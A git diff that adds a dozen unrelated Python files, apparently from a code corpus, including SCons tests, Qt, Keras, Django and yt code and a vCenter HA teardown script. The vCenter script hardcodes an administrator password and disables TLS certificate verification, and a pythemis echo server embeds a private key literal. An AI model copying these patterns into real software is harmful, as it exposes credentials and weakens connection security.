env['CCVERSION'] = match.group(0) + +def exists(env): + return env.Detect(compilers) + +# Local Variables: +# tab-width:4 +# indent-tabs-mode:nil +# End: +# vim: set expandtab tabstop=4 shiftwidth=4: diff --git a/pool/shard008/Python/0079103_project.py b/pool/shard008/Python/0079103_project.py new file mode 100644 index 0000000000000000000000000000000000000000..0e3df21bcfe81ffbf619e836a8ffdab9d03744c1 --- /dev/null +++ b/pool/shard008/Python/0079103_project.py @@ -0,0 +1,57 @@ +from services import Service +from exceptions import NoSuchService +from ports import parse_ports_dict + + +class Project(object): + + def __init__(self, name, host): + self.name = name + host.project = self + self.host = host + self.services = [] + self.groups = [] + + def __repr__(self): + return "Project (%s)" % self.name + + def make_service(self, name, **kwargs): + ports = kwargs.pop("ports", []) + return Service( + name=name, + ports=parse_ports_dict(ports), + **kwargs) + + def get_service(self, name): + """ + Taken from Fig. + Retrievs a service by name. + """ + for service in self.services: + if service.name == name: + return service + + raise NoSuchService("No such service %s" % name) + + def filter_services(self, names): + """ + Taken from Fig. + Retrives a list of services by names. + If names is None, or an empty list return all. + """ + if names is None or len(names) == 0: + return self.services + else: + return [self.get_service(name) for name in names] + + def filter_groups(self, services): + """ + Retrieves a list of groups based on their linked services. + """ + groups = [] + for group in self.groups: + for service in services: + if service in group.services: + groups.append(group) + break + return groups diff --git a/pool/shard008/Python/0079104_Execute.py b/pool/shard008/Python/0079104_Execute.py new file mode 100644 index 0000000000000000000000000000000000000000..2e53444767ba5896e0118e2e5228ba4497191921 --- /dev/null +++ b/pool/shard008/Python/0079104_Execute.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python +# +# __COPYRIGHT__ +# +# Permission is hereby granted, free of charge, to any person obtaining +# a copy of this software and associated documentation files (the +# "Software"), to deal in the Software without restriction, including +# without limitation the rights to use, copy, modify, merge, publish, +# distribute, sublicense, and/or sell copies of the Software, and to +# permit persons to whom the Software is furnished to do so, subject to +# the following conditions: +# +# The above copyright notice and this permission notice shall be included +# in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY +# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE +# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +# + +__revision__ = "__FILE__ __REVISION__ __DATE__ __DEVELOPER__" + +""" +Test the Execute() function for executing actions directly. +""" + +import TestSCons + +_python_ = TestSCons._python_ + +test = TestSCons.TestSCons() + +test.write('my_copy.py', """\ +import sys +open(sys.argv[2], 'wb').write(open(sys.argv[1], 'rb').read()) +try: + exitval = int(sys.argv[3]) +except IndexError: + exitval = 0 +sys.exit(exitval) +""") + +test.write('SConstruct', """\ +Execute('%(_python_)s my_copy.py a.in a.out') +Execute(Action('%(_python_)s my_copy.py b.in b.out')) +env = Environment(COPY = 'my_copy.py') +env.Execute('%(_python_)s my_copy.py c.in c.out') +env.Execute(Action('%(_python_)s my_copy.py d.in d.out')) +v = env.Execute('%(_python_)s $COPY e.in e.out') +assert v == 0, v +v = env.Execute(Action('%(_python_)s $COPY f.in f.out')) +assert v == 0, v +v = env.Execute('%(_python_)s $COPY g.in g.out 1') +assert v == 1, v +v = env.Execute(Action('%(_python_)s $COPY h.in h.out 2')) +assert v == 2, v +import shutil +Execute(lambda target, source, env: shutil.copy('i.in', 'i.out')) +Execute(Action(lambda target, source, env: shutil.copy('j.in', 'j.out'))) +env.Execute(lambda target, source, env: shutil.copy('k.in', 'k.out')) +env.Execute(Action(lambda target, source, env: shutil.copy('l.in', 'l.out'))) + +Execute(Copy('m.out', 'm.in')) +Execute(Copy('nonexistent.out', 'nonexistent.in')) +""" % locals()) + +test.write('a.in', "a.in\n") +test.write('b.in', "b.in\n") +test.write('c.in', "c.in\n") +test.write('d.in', "d.in\n") +test.write('e.in', "e.in\n") +test.write('f.in', "f.in\n") +test.write('g.in', "g.in\n") +test.write('h.in', "h.in\n") +test.write('i.in', "i.in\n") +test.write('j.in', "j.in\n") +test.write('k.in', "k.in\n") +test.write('l.in', "l.in\n") +test.write('m.in', "m.in\n") + +import sys +if sys.platform == 'win32': + expect = r"""scons: \*\*\* Error 1 +scons: \*\*\* Error 2 +scons: \*\*\* nonexistent.in/\*\.\*: (The system cannot find the path specified|Das System kann den angegebenen Pfad nicht finden)""" +else: + expect = r"""scons: \*\*\* Error 1 +scons: \*\*\* Error 2 +scons: \*\*\* nonexistent\.in: No such file or directory""" + +test.run(arguments = '.', stdout = None, stderr = None) + +test.must_contain_all_lines(test.stderr(), expect.splitlines(), find=TestSCons.search_re) + +test.must_match('a.out', "a.in\n") +test.must_match('b.out', "b.in\n") +test.must_match('c.out', "c.in\n") +test.must_match('d.out', "d.in\n") +test.must_match('e.out', "e.in\n") +test.must_match('f.out', "f.in\n") +test.must_match('g.out', "g.in\n") +test.must_match('h.out', "h.in\n") +test.must_match('i.out', "i.in\n") +test.must_match('j.out', "j.in\n") +test.must_match('k.out', "k.in\n") +test.must_match('l.out', "l.in\n") +test.must_match('m.out', "m.in\n") + +test.pass_test() + +# Local Variables: +# tab-width:4 +# indent-tabs-mode:nil +# End: +# vim: set expandtab tabstop=4 shiftwidth=4: diff --git a/pool/shard008/Python/0079107_aboutdialog.py b/pool/shard008/Python/0079107_aboutdialog.py new file mode 100644 index 0000000000000000000000000000000000000000..9bf39f2f80209435e1ff1b30fa167003184d92e3 --- /dev/null +++ b/pool/shard008/Python/0079107_aboutdialog.py @@ -0,0 +1,62 @@ +## +## patts-qt - Qt GUI client for PATTS +## Copyright (C) 2015-2016 Delwink, LLC +## +## This program is free software: you can redistribute it and/or modify +## it under the terms of the GNU Affero General Public License as published by +## the Free Software Foundation, version 3 only. +## +## This program is distributed in the hope that it will be useful, +## but WITHOUT ANY WARRANTY; without even the implied warranty of +## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +## GNU Affero General Public License for more details. +## +## You should have received a copy of the GNU Affero General Public License +## along with this program. If not, see . +## + +from patts import get_c_library_version, get_db_version +from PyQt4.QtGui import QDialog, QLabel, QPushButton, QVBoxLayout, QWidget +from .lang import _ + +__version__ = '0.0.0' + +_COPYRIGHT_HOLDERS = [ + '2015-2016 Delwink, LLC', + '2016 Caleb Herbert ' +] + +class AboutDialog(QDialog): + def __init__(self, patts_version, parent=None): + super().__init__(parent) + + okButton = QPushButton(_('OK')) + okButton.clicked.connect(self.accept) + + layout = QVBoxLayout() + + title = QLabel('patts-qt v{}'.format(__version__)) + + title_font = title.font() + title_font.setPointSize(20) + title_font.setBold(True) + title.setFont(title_font) + + versions = ( + 'patts module v{}'.format(patts_version), + 'libpatts v{}'.format(get_c_library_version()), + 'patts db v{}'.format(get_db_version()) + ) + + layout.addWidget(title) + layout.addWidget(QLabel('(' + ', '.join(versions) + ')')) + + holders = ',\n\t'.join([holder for holder in _COPYRIGHT_HOLDERS]) + layout.addWidget(QLabel(_('About.copyright') + ' ' + holders)) + + layout.addWidget(QLabel(_('About.license'))) + + layout.addWidget(okButton) + + self.setLayout(layout) + self.setWindowTitle(_('About.title')) diff --git a/pool/shard008/Python/0079108_constraints.py b/pool/shard008/Python/0079108_constraints.py new file mode 100644 index 0000000000000000000000000000000000000000..2ed44ada4abf7257c3f71fa7ef902484ba4a0b16 --- /dev/null +++ b/pool/shard008/Python/0079108_constraints.py @@ -0,0 +1,37 @@ +"""制約。""" +import tensorflow as tf + + +@tf.keras.utils.register_keras_serializable(package="pytoolkit") +class GreaterThanOrEqualTo(tf.keras.constraints.Constraint): + """指定した値以上に制約する。""" + + def __init__(self, value, **kwargs): + super().__init__(**kwargs) + self.value = value + + def __call__(self, w): + return tf.math.maximum(w, self.value) + + def get_config(self): + config = {"value": self.value} + base_config = super().get_config() + return dict(list(base_config.items()) + list(config.items())) + + +@tf.keras.utils.register_keras_serializable(package="pytoolkit") +class Clip(tf.keras.constraints.Constraint): + """指定した値の範囲に制約する。""" + + def __init__(self, min_value, max_value, **kwargs): + super().__init__(**kwargs) + self.min_value = min_value + self.max_value = max_value + + def __call__(self, w): + return tf.clip_by_value(w, self.min_value, self.max_value) + + def get_config(self): + config = {"min_value": self.min_value, "max_value": self.max_value} + base_config = super().get_config() + return dict(list(base_config.items()) + list(config.items())) diff --git a/pool/shard008/Python/0079110_state.py b/pool/shard008/Python/0079110_state.py new file mode 100644 index 0000000000000000000000000000000000000000..dc785cdb1f6ee88a41cb3e21da137939896c300a --- /dev/null +++ b/pool/shard008/Python/0079110_state.py @@ -0,0 +1,155 @@ +#!multiconf + +from multiconf.envs import EnvFactory +from multiconf import ConfigRoot, ConfigItem, ConfigBuilder +from multiconf.decorators import nested_repeatables, repeat, required, named_as + +@nested_repeatables('cloud_servers, jenkins, apache') +@required('git') +class Project(ConfigRoot): + def __init__(self, selected_env, name, valid_envs, **attr): + super(Project, self).__init__(selected_env=selected_env, name=name, + valid_envs=valid_envs, **attr) + + def render(self): + # for all items within config: + # collect result of their own render() function + pass + +@named_as('cloud_servers') +@repeat() +class CloudServer(ConfigItem): + def __init__(self, host_name, server_num): + print 'DEBUG: in CloudServer.__init__ host_name=', host_name + super(CloudServer, self).__init__(host_name=host_name, + server_num=server_num) + print 'DEBUG: in CloudServer.__init__ self.host_name=', self.host_name + +class CloudServers(ConfigBuilder): + ''' + This is builder - it will insert into config multiple objects + if type CloudServer and will calculate hostname for each + ''' + def __init__(self, base_host_name, num_servers): + super(CloudServers, self).__init__(host_name=base_host_name, + num_servers=num_servers) + + def build(self): + for server_num in xrange(1, self.num_servers+1): + cs = CloudServer(host_name='%s%s' % (self.host_name, server_num), + server_num=server_num) + print 'DEBUG: cs.host_name=%s' % cs.host_name + +@named_as('git') +class GitRepo(ConfigItem): + def __init__(self, origin, branch, branches_mask): + super(GitRepo, self).__init__(origin=origin, branch=branch, + branches_mask=branches_mask) + +@named_as('jenkins') +@required('nodes, view') +@repeat() +class Jenkins(ConfigItem): + def __init__(self, num_nodes, base_port=0): + super(Jenkins, self).__init__(num_nodes=num_nodes, base_port=base_port) + +@named_as('nodes') +class Nodes(ConfigItem): + def __init__(self, hosts): + super(Nodes, self).__init__(hosts=hosts) + +@named_as('view') +@nested_repeatables('sub_view') +class NestedView(ConfigItem): + def __init__(self, name): + super(NestedView, self).__init__(name=name) + +@named_as('sub_view') +@repeat() +class JobsView(ConfigItem): + def __init__(self, name): + super(JobsView, self).__init__(name=name) + +class Jobs(ConfigItem): + def __init__(self, slaves=None): + super(Jobs, self).__init__(slaves=slaves) + +class ProjectJobs(Jobs): + pass + +class RepositoryJobs(Jobs): + pass + +@named_as('apache') +@repeat() +class Apache(ConfigItem): + def __init__(self, base_port, nodes): + super(Apache, self).__init__(base_port=base_port, nodes=nodes) + +class Database(ConfigItem): + def __init__(self, name): + super(Database, self).__init__(name=name) + +# Define environments + +# Use EnvFactory() to create environment or group of environments +ef = EnvFactory() + +# We have five environments and we define them here +devlocal = ef.Env('devlocal') # Local dev box +dev = ef.Env('dev') # Dev build box +cloud = ef.Env('cloud') # Cloud +prod = ef.Env('prod') + +# Grouping environments per their roles +g_dev = ef.EnvGroup('g_dev', devlocal, dev, cloud) +g_prod = ef.EnvGroup('g_prod', prod) + + +# This function is used to describe all environments and return an instantiated environment +# configuration for environment with name 'env_name', which is passed as parameter +def conf(env_name): + env = ef.env(env_name) + + with Project(env, 'SampleProject', [g_dev, g_prod]) as project: + + # CloudServers is a multiconf builder - it will not be present in + # configuration. Instead there will be CloudServer objects based on + # num_servers parameter + with CloudServers(base_host_name='something', num_servers=0) as cloud_servers: + cloud_servers.setattr('num_servers', devlocal=1, dev=2, cloud=4) + + # GitRepo is set to be a required element of a project + # Try to comment out this declaration and see what happens + with GitRepo(origin='git@github.com:lechat/envsample.git', + branch='master', branches_mask='fb_[0-9]*$') as git: + git.setattr('branch', g_dev='develop') + + with Jenkins(num_nodes=0) as jenkins: + jenkins.setattr('num_nodes', g_dev=2) + jenkins.setattr('base_port', g_dev=8080) + # Nodes is a builder too + jenkins_nodes = Nodes(hosts=cloud_servers) + with NestedView(project.name) as top_view: + with JobsView('%s_branches' % project.name) as jw1: + ProjectJobs(jenkins_nodes) + with JobsView('%s_common' % project.name) as jw1: + RepositoryJobs() + + with Apache(base_port=80, nodes=cloud_servers) as apache: + apache.setattr('base_port', g_dev=18000) + + with Database('%s_db' % project.name) as db: + db.setattr('name', g_dev='%s_dev_db' % project.name) + + return project + +config = conf('devlocal') +print config +assert(config.name=='SampleProject') +# Check that we only have one cloud server in devlocal +assert(len(config.cloud_servers)==1) +print config.cloud_servers +cloud_server = config.cloud_servers.values()[0] +assert(isinstance(cloud_server, CloudServer)) +assert(cloud_server.host_name == 'something1') diff --git a/pool/shard008/Python/0079114_index.py b/pool/shard008/Python/0079114_index.py new file mode 100644 index 0000000000000000000000000000000000000000..67c0b242f5001b0550c26905a054f635d571d0d3 --- /dev/null +++ b/pool/shard008/Python/0079114_index.py @@ -0,0 +1,59 @@ +#coding:UTF-8 + +""" +一个简单的服务器监控工具 +@author:yubang +2015-05-10 +""" + + +from lib import disk,http,mysql +from config import config +import time,threading + + +class Monitor(threading.Thread): + "监视器线程" + def __init__(self,fn,sleepTime): + threading.Thread.__init__(self) + self.__fn=fn + self.__sleepTime=sleepTime + def run(self): + startMonitor(self.__fn,self.__sleepTime) + + +def checkNeedRun(lastWarnTime): + "检测是否可以运行监控" + if time.time() - lastWarnTime > config.WARN_INTERVAL: + return True + else: + return False + + +def startMonitor(fn,sleepTime): + "开始监控" + lastWarnTime=0 + while True: + if checkNeedRun(lastWarnTime) and not fn(): + lastWarnTime = time.time() + time.sleep(sleepTime) + + +def main(): + "入口函数" + if config.USE_DISK: + monitor=Monitor(disk.init,disk.getIntervalTime()) + monitor.setDaemon(True) + monitor.start() + if config.USE_HTTP: + monitor=Monitor(http.init,http.getIntervalTime()) + monitor.setDaemon(True) + monitor.start() + if config.USE_MYSQL: + monitor=Monitor(mysql.init,mysql.getIntervalTime()) + monitor.setDaemon(True) + monitor.start() + raw_input("按任意键退出!") + +if __name__ == "__main__": + main() diff --git a/pool/shard008/Python/0079115_yt_fields.py b/pool/shard008/Python/0079115_yt_fields.py new file mode 100644 index 0000000000000000000000000000000000000000..3540ac7148a2a6c522dca2b9246f03948ab5096c --- /dev/null +++ b/pool/shard008/Python/0079115_yt_fields.py @@ -0,0 +1,120 @@ +# -*- coding: utf-8 -*- +import yt.mods as yt +import numpy as np + +mu0 = 1.25663706e-6 +gamma = 1.6666 + +@yt.derived_field(take_log=False, units=r'kg m^{-3}') +def density(field, data): + return data['density_pert'] + data['density_bg'] + +@yt.derived_field(take_log=False, units=r'T') +def mag_field_x(field, data): + return data['mag_field_x_pert'] + data['mag_field_x_bg'] + +@yt.derived_field(take_log=False, units=r'T') +def mag_field_y(field, data): + return data['mag_field_y_pert'] + data['mag_field_y_bg'] + +@yt.derived_field(take_log=False, units=r'T') +def mag_field_z(field, data): + return data['mag_field_z_pert'] + data['mag_field_z_bg'] + +@yt.derived_field(take_log=False, units=r'T') +def mag_field_magnitude(field, data): + return np.sqrt(data['mag_field_x']**2 + data['mag_field_y']**2 + data['mag_field_z']**2) + +@yt.derived_field(take_log=False, units=r'T') +def mag_field_pert_magnitude(field, data): + return np.sqrt(data['mag_field_x_pert']**2 + data['mag_field_y_pert']**2 + + data['mag_field_z_pert']**2) + +@yt.derived_field(take_log=False, units=r'T') +def velocity_magnitude(field, data): + return np.sqrt(data['velocity_x']**2 + data['velocity_x']**2 + + data['velocity_x']**2) + +@yt.derived_field(take_log=False, units=r'Pa') +def internal_energy(field, data): + return data['internal_energy_pert'] + data['internal_energy_bg'] + +@yt.derived_field(take_log=False, units=r'Pa') +def mag_pressure(field, data): + return (data['mag_field_x']**2 + data['mag_field_y']**2 + data['mag_field_z']**2) / (2. * mu0) + +@yt.derived_field(take_log=False, units=r'Pa') +def thermal_pressure(field, data): + #p = (\gamma -1) ( e - \rho v^2/2 - B^2/2) + g1 = gamma -1 #(header['eqpar'][0]-1) + kp = (data['density'] * (data['velocity_x']**2 + data['velocity_y']**2 + data['velocity_z']**2))/2. + return g1 * (data['internal_energy'] - kp - data['mag_pressure']) + +@yt.derived_field(take_log=False, units=r'm s^{-1}') +def alfven_speed(field, data): + return np.sqrt(data['mag_field_x']**2 + data['mag_field_y']**2 + data['mag_field_z']**2) / np.sqrt(data['density']) + +@yt.derived_field(take_log=False, units=r'm s^{-1}') +def sound_speed(field, data): + return np.sqrt((gamma * data['thermal_pressure']) / data['density']) + +@yt.derived_field(take_log=False, units=r'') +def plasma_beta(field, data): + return data['mag_pressure'] / data['thermal_pressure'] +# +#@yt.derived_field(take_log=False, units=r'Pa') +#def wave_flux_x(field, data): +# Bb = np.array([f.w_dict['bg3'], f.w_dict['bg2'], f.w_dict['bg1']]) +# Bp = np.array([f.w_dict['b3'], f.w_dict['b2'], f.w_dict['b1']]) +# V = np.array([f.w_sac['v3'], f.w_sac['v2'], f.w_sac['v1']]) +# +# #Calculate wave flux +# Fp = 0.25*np.pi * (np.sum(Bb*Bp, axis=0)[None] * V) - (np.sum(V*Bp, axis=0)[None] * Bb) +# Fa = pk[None]*V +# +# Fwave = Fa + Fp + +# def get_total_p(self): +# if self.header['ndim'] == 3: +# gamma = self.header['eqpar'][0] +# +# vtot2 = (self.w_sac['v1']**2 + self.w_sac['v2']**2 + self.w_sac['v3']**2) +# therm = self.w[self.w_["e"]] - (self.w_sac["rho"] * vtot2) / 2. +# +# Bpert = self.w[self.w_['b1']] + self.w[self.w_['b2']] + self.w[self.w_['b3']] +# Bpert2 = self.w[self.w_['b1']]**2 + self.w[self.w_['b2']]**2 + self.w[self.w_['b3']]**2 +# Bback = self.w[self.w_['bg1']] + self.w[self.w_['bg2']] + self.w[self.w_['bg3']] +# mag = Bback * Bpert + (Bpert2 / 2.) +# +# return (gamma - 1) * therm - (gamma - 2) * mag +# else: +# raise NotImplementedError("This Dosen't work for 2D yet, go fix") +# +# def get_temp(self,p=None): +# if not(p): +# p = self.get_thermalp() +# T = (p * 1.2) / (8.3e3 * self.w_sac['rho']) +# return T +# +# def get_bgtemp(self): +# print "WARNING: Background Temprature will not work if inital conditions are not V=0" +# if self.header['ndim'] == 3: +# kp = 0.0#(self.w[self.w_["rhob"]] * (self.w_sac['v1']**2 + self.w_sac['v2']**2 + self.w_sac['v3']**2))/2. +# mp = (self.w[self.w_["bg1"]]**2 + self.w[self.w_["bg2"]]**2 + self.w[self.w_["bg3"]]**2) / 2. +# T = self.w[self.w_["eb"]] - kp - mp +# else: +# kp = 0.0#(self.w[self.w_["rhob"]] * (self.w_sac['v1']**2 + self.w_sac['v2']**2))/2. +# mp = (self.w[self.w_["bg1"]]**2 + self.w[self.w_["bg2"]]**2) / 2. +# T = self.w[self.w_["eb"]] - kp - mp +# return T +# +# def get_va(self): +# return (np.sqrt(self.w_sac['b1']**2 + self.w_sac['b2']**2 +# + self.w_sac['b3']**2) / np.sqrt(self.w_sac['rho'])) +# #return (abs(self.w_sac['b1']) + abs(self.w_sac['b2']) + abs(self.w_sac['b3'])) / sqrt(self.w_sac['rho']) +# +# def get_cs(self,p=None): +# if not p: +# p = self.get_thermalp() +# g1 = self.header['eqpar'][0] +# return np.sqrt((g1 * p) / self.w_sac['rho']) \ No newline at end of file diff --git a/pool/shard008/Python/0079116_0001_initial.py b/pool/shard008/Python/0079116_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..3188b904622544c9c984f22d76fb8ea891aa848f --- /dev/null +++ b/pool/shard008/Python/0079116_0001_initial.py @@ -0,0 +1,48 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.9.4 on 2016-05-10 12:31 +from __future__ import unicode_literals + +from django.db import migrations, models +import django.db.models.deletion +import phonenumber_field.modelfields +import uuid + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Discharge', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('discharged', models.BooleanField(default=False, verbose_name='Active')), + ('discharge_date', models.DateField(auto_now=True)), + ], + ), + migrations.CreateModel( + name='Patient', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('anc_number', models.SlugField(max_length=6)), + ('uuid', models.UUIDField(default=uuid.uuid4, unique=True)), + ('creation_date', models.DateField(auto_now=True)), + ('patient_contact', phonenumber_field.modelfields.PhoneNumberField(help_text='Enter number in this format +2547209XXXXX', max_length=13, unique=True)), + ('patient_name', models.CharField(max_length=64)), + ('national_id', models.BigIntegerField(default=None, unique=True)), + ('last_menstrual_date', models.DateField()), + ], + options={ + 'verbose_name_plural': 'Patients', + }, + ), + migrations.AddField( + model_name='discharge', + name='patient', + field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='register.Patient'), + ), + ] diff --git a/pool/shard008/Python/0079117_ssession_test_tornado_server.py b/pool/shard008/Python/0079117_ssession_test_tornado_server.py new file mode 100644 index 0000000000000000000000000000000000000000..8b2b25198dca6457a7d508fb315b0b5be6a64ae2 --- /dev/null +++ b/pool/shard008/Python/0079117_ssession_test_tornado_server.py @@ -0,0 +1,57 @@ +# +# Copyright (c) 2015 Cossack Labs Limited +# +# Licensed under the Apache License, Version 2.0 (the "License") + +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +""" +echo server for tornado +NOTE: due to the fact that ssession has state and it is simple example, server +can handle only one session and then need restart or you can extend example and +handle many sessions per some identifier +""" + +import tornado.ioloop +import tornado.web +from pythemis import ssession + +client_public = b"\x55\x45\x43\x32\x00\x00\x00\x2d\x13\x8b\xdf\x0c\x02\x1f\x09\x88\x39\xd9\x73\x3a\x84\x8f\xa8\x50\xd9\x2b\xed\x3d\x38\xcf\x1d\xd0\xce\xf4\xae\xdb\xcf\xaf\xcb\x6b\xa5\x4a\x08\x11\x21" +server_private = b"\x52\x45\x43\x32\x00\x00\x00\x2d\x49\x87\x04\x6b\x00\xf2\x06\x07\x7d\xc7\x1c\x59\xa1\x8f\x39\xfc\x94\x81\x3f\x9e\xc5\xba\x70\x6f\x93\x08\x8d\xe3\x85\x82\x5b\xf8\x3f\xc6\x9f\x0b\xdf" + +session = ssession.SSession( + b"server", server_private, + ssession.SimpleMemoryTransport(b'client', client_public)) + + +class MainHandler(tornado.web.RequestHandler): + def post(self): + print(self.request.body) + # decrypt received message + message = session.unwrap(self.request.body) + if message.is_control: + # send unwraped message to client as is if control message + self.write(message) + else: + # print accepted plain message + print(message) + # encrypt and send reply message + self.write(session.wrap(message)) + + +if __name__ == "__main__": + application = tornado.web.Application([ + (r"/", MainHandler), + ]) + application.listen(26260) + tornado.ioloop.IOLoop.instance().start() diff --git a/pool/shard008/Python/0079120_blink.py b/pool/shard008/Python/0079120_blink.py new file mode 100644 index 0000000000000000000000000000000000000000..7df078e6f7b87996ddaa68b09d2a6c0d09871c7a --- /dev/null +++ b/pool/shard008/Python/0079120_blink.py @@ -0,0 +1,28 @@ +#!/usr/bin/python +# coding=utf-8 +import RPi.GPIO as GPIO +from time import sleep + + +GPIO.setmode(GPIO.BOARD) # Physical numeration pins +pin = 7 +GPIO.setup(pin, GPIO.OUT) + +p = GPIO.PWM(pin, 50) # channel=7 frequency=50Hz +p.start(0) +try: + while True: + p.ChangeDutyCycle(100) + sleep(0.1) + p.ChangeDutyCycle(0) + sleep(0.1) +except KeyboardInterrupt: + print '\n\n[ Execution aborted ]' +except ValueError: + print '\n[ Unexpected value ]' +except IndexError: + print '\n[ Index out of range ]' +except TypeError: + print '\n[ Required values: 0 or 1 ]' +finally: + GPIO.cleanup() diff --git a/pool/shard008/Python/0079122_destroy_vcha.py b/pool/shard008/Python/0079122_destroy_vcha.py new file mode 100644 index 0000000000000000000000000000000000000000..4338ddc07e9614acb807c9727430986711d3d3ac --- /dev/null +++ b/pool/shard008/Python/0079122_destroy_vcha.py @@ -0,0 +1,33 @@ +# Author: Vikas Shitole +# Website: www.vThinkBeyondVM.com +# Product: vCenter server/vCenter Server High Availability (VCHA) +# Description: Python script to destroy vCenter server HA +# Reference:http://vthinkbeyondvm.com/how-to-manage-vcenter-server-ha-using-vsphere-python-sdk-pyvmomi-part-1/ +# How to setup pyVmomi environment?: http://vthinkbeyondvm.com/how-did-i-get-started-with-the-vsphere-python-sdk-pyvmomi-on-ubuntu-distro/ + +from pyVim.connect import SmartConnect +from pyVmomi import vim +import ssl +#Destroy vCenter server HA +s=ssl.SSLContext(ssl.PROTOCOL_TLSv1) +s.verify_mode=ssl.CERT_NONE +si= SmartConnect(host="10.161.34.35", user="Administrator@vsphere.local", pwd="VMware#23",sslContext=s) +content=si.content + +#Getting VCHA configurator managed object +vcha=si.content.failoverClusterConfigurator + +#Getting VCHA cluster manager +vcha_cluster_manager=si.content.failoverClusterManager + +# Setting vCenter HA to "disabled" mode. +task = vcha_cluster_manager.setClusterMode_Task("disabled") +while(task.info.state != "success"): + continue + +#Getting VCHA cluster mode +VCHA_mode=vcha_cluster_manager.getClusterMode() +if (VCHA_mode == "disabled"): + vcha.destroyVcha_Task() #Destroing it +else: + print "VCHA must be in disabled mode before destrying it" diff --git a/pool/shard008/Python/0079123_lxml.py b/pool/shard008/Python/0079123_lxml.py new file mode 100644 index 0000000000000000000000000000000000000000..02cb0f5d07054a62f9b0b2184b080a5f19286db8 --- /dev/null +++ b/pool/shard008/Python/0079123_lxml.py @@ -0,0 +1,199 @@ +__all__ = [ + 'LXMLTreeBuilderForXML', + 'LXMLTreeBuilder', + ] + +from io import StringIO +import collections +from lxml import etree +from bs4.element import Comment, Doctype, NamespacedAttribute +from bs4.builder import ( + FAST, + HTML, + HTMLTreeBuilder, + PERMISSIVE, + TreeBuilder, + XML) +from bs4.dammit import UnicodeDammit + +LXML = 'lxml' + +class LXMLTreeBuilderForXML(TreeBuilder): + DEFAULT_PARSER_CLASS = etree.XMLParser + + is_xml = True + + # Well, it's permissive by XML parser standards. + features = [LXML, XML, FAST, PERMISSIVE] + + CHUNK_SIZE = 512 + + @property + def default_parser(self): + # This can either return a parser object or a class, which + # will be instantiated with default arguments. + return etree.XMLParser(target=self, strip_cdata=False, recover=True) + + def __init__(self, parser=None, empty_element_tags=None): + if empty_element_tags is not None: + self.empty_element_tags = set(empty_element_tags) + if parser is None: + # Use the default parser. + parser = self.default_parser + if isinstance(parser, collections.Callable): + # Instantiate the parser with default arguments + parser = parser(target=self, strip_cdata=False) + self.parser = parser + self.soup = None + self.nsmaps = None + + def _getNsTag(self, tag): + # Split the namespace URL out of a fully-qualified lxml tag + # name. Copied from lxml's src/lxml/sax.py. + if tag[0] == '{': + return tuple(tag[1:].split('}', 1)) + else: + return (None, tag) + + def prepare_markup(self, markup, user_specified_encoding=None, + document_declared_encoding=None): + """ + :return: A 3-tuple (markup, original encoding, encoding + declared within markup). + """ + if isinstance(markup, str): + return markup, None, None, False + + try_encodings = [user_specified_encoding, document_declared_encoding] + dammit = UnicodeDammit(markup, try_encodings, is_html=True) + return (dammit.markup, dammit.original_encoding, + dammit.declared_html_encoding, + dammit.contains_replacement_characters) + + def feed(self, markup): + if isinstance(markup, str): + markup = StringIO(markup) + # Call feed() at least once, even if the markup is empty, + # or the parser won't be initialized. + data = markup.read(self.CHUNK_SIZE) + self.parser.feed(data) + while data != '': + # Now call feed() on the rest of the data, chunk by chunk. + data = markup.read(self.CHUNK_SIZE) + if data != '': + self.parser.feed(data) + self.parser.close() + + def close(self): + self.nsmaps = None + + def start(self, name, attrs, nsmap={}): + # Make sure attrs is a mutable dict--lxml may send an immutable dictproxy. + attrs = dict(attrs) + + nsprefix = None + # Invert each namespace map as it comes in. + if len(nsmap) == 0 and self.nsmaps != None: + # There are no new namespaces for this tag, but namespaces + # are in play, so we need a separate tag stack to know + # when they end. + self.nsmaps.append(None) + elif len(nsmap) > 0: + # A new namespace mapping has come into play. + if self.nsmaps is None: + self.nsmaps = [] + inverted_nsmap = dict((value, key) for key, value in list(nsmap.items())) + self.nsmaps.append(inverted_nsmap) + # Also treat the namespace mapping as a set of attributes on the + # tag, so we can recreate it later. + attrs = attrs.copy() + for prefix, namespace in list(nsmap.items()): + attribute = NamespacedAttribute( + "xmlns", prefix, "http://www.w3.org/2000/xmlns/") + attrs[attribute] = namespace + + if self.nsmaps is not None and len(self.nsmaps) > 0: + # Namespaces are in play. Find any attributes that came in + # from lxml with namespaces attached to their names, and + # turn then into NamespacedAttribute objects. + new_attrs = {} + for attr, value in list(attrs.items()): + namespace, attr = self._getNsTag(attr) + if namespace is None: + new_attrs[attr] = value + else: + nsprefix = self._prefix_for_namespace(namespace) + attr = NamespacedAttribute(nsprefix, attr, namespace) + new_attrs[attr] = value + attrs = new_attrs + + namespace, name = self._getNsTag(name) + nsprefix = self._prefix_for_namespace(namespace) + self.soup.handle_starttag(name, namespace, nsprefix, attrs) + + def _prefix_for_namespace(self, namespace): + """Find the currently active prefix for the given namespace.""" + if namespace is None: + return None + for inverted_nsmap in reversed(self.nsmaps): + if inverted_nsmap is not None and namespace in 